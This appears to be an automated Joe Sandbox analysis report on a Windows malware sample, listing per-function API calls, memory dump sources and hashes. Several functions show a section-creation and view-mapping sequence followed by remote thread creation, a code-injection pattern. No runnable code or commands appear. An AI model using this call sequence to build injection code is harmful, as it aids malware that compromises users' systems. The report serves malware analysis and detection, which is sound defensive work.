NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000005.00000002.2044709796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_derhswe.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction ID: 7a8a064d68380c64131d995910f5c092f0e660b32494b1024d3e535184c76cf3
Opcode Fuzzy Hash: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction Fuzzy Hash: 78510875900249BFEF209F91CC48FAFBBB8FF86B10F144159F911AA2A5E6709940CB24

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000005.00000002.2044709796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_derhswe.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction ID: 25abb30e6883f9026caabbb74ebb32c420b3dbd3b7f631cb87a4d5ab1caa8f11
Opcode Fuzzy Hash: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction Fuzzy Hash: C75118B5900209BFEF209F91CC48FAFBBB8FF85B10F144169F911BA2A5D6709940CB24

Function 00402F97 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030CB
NtTerminateProcess.NTDLL ref: 004030E4

Memory Dump Source

Source File: 00000005.00000002.2044709796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_derhswe.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 1591ba869369ea84e79847af2efd18b9bf5795e6c00b1d775a4c0b4e714efbc4
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: FD414531218E0C4FD7A8EF6CA88576277D5F798311F6643AAE809D3389EA74DC1183C5

Function 004A003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 004A024D

Strings

cess, xrefs: 004A018D
kernel32.dll, xrefs: 004A008F, 004A0095

Memory Dump Source

Source File: 00000005.00000002.2045012210.00000000004A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a0000_derhswe.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: e8808fda1f18410e8add9b7d654e39f1dace8b15439fa6e8a781bb971e8400d6
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 74527874A01229DFDB64CF58C984BA8BBB1BF09304F1480DAE90DAB351DB34AE95DF15

Function 0051EB8C Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0051EBB4
Module32First.KERNEL32(00000000,00000224), ref: 0051EBD4

Memory Dump Source

Source File: 00000005.00000002.2045303884.000000000050C000.00000040.00000020.00020000.00000000.sdmp, Offset: 0050C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_50c000_derhswe.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 848d11fd6c62f46b0253d74a4ff3b31582dfce861c711d36bd776ffb60a503a2
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 07F09C311047116FE7203BF59C8EBEE7AE8BF49724F100569F943910C0D770EC854A51

Function 004A0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,004A0223,?,?), ref: 004A0E19
SetErrorMode.KERNELBASE(00000000,?,?,004A0223,?,?), ref: 004A0E1E

Memory Dump Source

Source File: 00000005.00000002.2045012210.00000000004A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a0000_derhswe.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 4a69a7ed93f9a29727daf5d7a921b2a81f6fc96308f2a7e4260770afe9c2796a
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: F8D0123114512877DB002A94DC09BCE7B1CDF09B62F008411FB0DDD180C774994046E9

Function 004018E6 Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000005.00000002.2044709796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_derhswe.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction ID: 08a90aa29aaa59261053d8f0d19a3ecdc4dd21bf61fce8c4d66a51d0c793aa75
Opcode Fuzzy Hash: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction Fuzzy Hash: EB11A1F660C204FAEB106AA49C61E7A3318AB40754F304137F613790F5957D9A13F66F

Function 00401915 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000005.00000002.2044709796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_derhswe.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction ID: d2c64d108ecd7190b789ce3c9d4f03e3911909dfd4099b6475a4add21270c3a3
Opcode Fuzzy Hash: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction Fuzzy Hash: 6D019EB7208208E6DB006AA5AC51ABA33189B44359F304537F723790F6D57D8612E72F

Function 004018F1 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000005.00000002.2044709796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_derhswe.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction ID: b5ca90d31d4069b8fd1e735589466699ca1bb5e14181e618ca72d4e2f39bbf06
Opcode Fuzzy Hash: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction Fuzzy Hash: D101D2B6608204EBDB019AF49C62A7A37549F44315F200137FA53790F1D67D8643E72F

Function 00401912 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000005.00000002.2044709796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_derhswe.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction ID: 0621b20c29367ada74e4c9127c9a5516285bec5e68af8f441e6b7f153e3f788d
Opcode Fuzzy Hash: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction Fuzzy Hash: 11017CB560C204EAEB109AA49C61A7A3318AB44354F304537FA27790F5D67D9612E72F

Function 0051E84B Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0051E89C

Memory Dump Source

Source File: 00000005.00000002.2045303884.000000000050C000.00000040.00000020.00020000.00000000.sdmp, Offset: 0050C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_50c000_derhswe.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: a00d14364ddb63b9b723cee9d51e06b425e626dc490d8caec9912d3181ec6e16
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: A911FA79A00208EFDB01DF98C985E99BFF5AF08751F1580A4F9489B362D771EA90DB90

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000005.00000002.2044709796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_derhswe.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction ID: ea6e3854d66af35421fcd7571e0742f45a6e64d38424a4e1b6315f5079e28d0a
Opcode Fuzzy Hash: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction Fuzzy Hash: 28F08CB6208204EADB00AEA49C61EBA3318AB44314F304533FB23790F5C67D8612E72F

Analysis Process: derhswePID: 888, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	40.7%
Signature Coverage:	0%
Total number of Nodes:	118
Total number of Limit Nodes:	4

Executed Functions

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 201
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000006.00000002.2106132142.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_derhswe.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction ID: b77a8bcfde574781322ebaec397cd5e92af5eb717990e6e7793f83a32abcc97b
Opcode Fuzzy Hash: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction Fuzzy Hash: 24615E71900244FBEB209F95CC49FAF7BB8EF85700F20412AF912BA1E5D6749A01DB69

Function 004014FE Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000006.00000002.2106132142.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_derhswe.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction ID: 0ec8d6d4108695f7377ece7931361284e20275783593a2318d747dbe857377b0
Opcode Fuzzy Hash: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction Fuzzy Hash: 6A5129B5900209BFEB209F95CC48FEF7BB9EF85710F14412AF912BA2A5D6749901CB24

Function 00401542 Relevance: 10.7, APIs: 7, Instructions: 167
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000006.00000002.2106132142.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_derhswe.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction ID: 759091ef041ca07c69b7a79068e02688b6544eb302bab9b440b0429bbb41aca5
Opcode Fuzzy Hash: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction Fuzzy Hash: E85119B1900249BFEB209F91CC48FAF7BB8EF85B10F144169F911BA2A5D6749941CB24

Function 00401549 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000006.00000002.2106132142.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_derhswe.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction ID: 7a8a064d68380c64131d995910f5c092f0e660b32494b1024d3e535184c76cf3
Opcode Fuzzy Hash: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction Fuzzy Hash: 78510875900249BFEF209F91CC48FAFBBB8FF86B10F144159F911AA2A5E6709940CB24

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000006.00000002.2106132142.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_derhswe.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction ID: 25abb30e6883f9026caabbb74ebb32c420b3dbd3b7f631cb87a4d5ab1caa8f11
Opcode Fuzzy Hash: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction Fuzzy Hash: C75118B5900209BFEF209F91CC48FAFBBB8FF85B10F144169F911BA2A5D6709940CB24

Function 00402F97 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030CB
NtTerminateProcess.NTDLL ref: 004030E4

Memory Dump Source

Source File: 00000006.00000002.2106132142.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_derhswe.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 1591ba869369ea84e79847af2efd18b9bf5795e6c00b1d775a4c0b4e714efbc4
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: FD414531218E0C4FD7A8EF6CA88576277D5F798311F6643AAE809D3389EA74DC1183C5

Function 0052003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0052024D

Strings

kernel32.dll, xrefs: 0052008F, 00520095
cess, xrefs: 0052018D

Memory Dump Source

Source File: 00000006.00000002.2106411331.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_520000_derhswe.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 919b4ee4c9051b2d158f225995026eaa3ecd924755c0c65d7b99845caff89d7f
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 4C526A75A01229DFDB64CF58D984BA8BBB1BF09304F1480D9E54DAB392DB30AE85DF14

Function 00751A5C Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00751A84
Module32First.KERNEL32(00000000,00000224), ref: 00751AA4

Memory Dump Source

Source File: 00000006.00000002.2106596720.000000000073F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0073F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_73f000_derhswe.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: eccb8381676b8ad2ae4a61135c2e81e4ac5420b3e3646cb90258bdee9a9e184c
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 9FF0F6351017116BE7213BF89C8CBEE72E8AF49723F504629EA42924C0DBB4EC494660

Function 00520E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00520223,?,?), ref: 00520E19
SetErrorMode.KERNELBASE(00000000,?,?,00520223,?,?), ref: 00520E1E

Memory Dump Source

Source File: 00000006.00000002.2106411331.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_520000_derhswe.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: a764e639832798b8d740d17924903a9f0c649362d611a0acc80e9a5e0a88a39a
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 75D0123114512877D7002A94DC09BCD7F1CDF05B62F008411FB0DD90C1C770994046E5

Function 004018E6 Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000006.00000002.2106132142.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_derhswe.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction ID: 08a90aa29aaa59261053d8f0d19a3ecdc4dd21bf61fce8c4d66a51d0c793aa75
Opcode Fuzzy Hash: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction Fuzzy Hash: EB11A1F660C204FAEB106AA49C61E7A3318AB40754F304137F613790F5957D9A13F66F

Function 00401915 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000006.00000002.2106132142.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_derhswe.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction ID: d2c64d108ecd7190b789ce3c9d4f03e3911909dfd4099b6475a4add21270c3a3
Opcode Fuzzy Hash: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction Fuzzy Hash: 6D019EB7208208E6DB006AA5AC51ABA33189B44359F304537F723790F6D57D8612E72F

